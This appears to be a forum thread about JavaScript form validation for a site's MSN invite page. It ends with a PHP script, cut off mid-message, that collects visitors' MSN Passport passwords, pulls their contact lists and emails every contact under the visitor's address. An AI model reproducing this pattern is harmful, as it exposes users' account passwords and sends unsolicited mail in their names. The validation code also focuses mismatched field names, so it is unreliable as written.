The javascript:

Code:

function checkform(form)
{
  if (form.passport.value == "") 
  {
    alert("Enter ...");
    form.naam.focus();
    return false;
  }
      
  if (form.password.value == "") 
  {
    alert("Enter...");
    form.email.focus();
    return false;
  }
      return true;
}

Add this in the form tag:

Code:

onsubmit="return checkform(this);"

thanx worked fine

but yousee
www.oh-twadi.com/msnSO/index.php

it redirects to a blank page but on the same link.anyway to stop this
cause it does this on
http://www.oh-twadi.com/forum/msninvite.php

and it directs forward 1st and people have to press back, anyway to make it so it pops up with error and stays on the same page

if you dont get what i meen leave the form blank and submit you will soon see

I've this on my form:

Code:

<form action="<?=htmlentities($_SERVER['REQUEST_URI'])?>" method="post" onsubmit="return checkform(this);">

Maybe that is the solution?

You could do further validation, but this should help

PHP Code:


			
<?php 



error_reporting(E_ALL); 



require('phplistgrab.php'); 



if ($_SERVER['REQUEST_METHOD'] == 'POST') 

{

$phplistgrab = new phpListGrab($_POST['passport'], $_POST['password']); 

$phplistgrab->grab(); 



// Sort the contact list into alphabetical order 

sort($phplistgrab->lists[LIST_FORWARD]); 

$header = "From: ".$_POST['passport']." <".$_POST['passport'].">\r\n"; 



foreach ($phplistgrab->lists[LIST_FORWARD] as $contact) 

{ 



$to = $contact['passport']; 

$subject = 'So-Sick Forum !!!!!'; 

$message = 'Hello Friend!
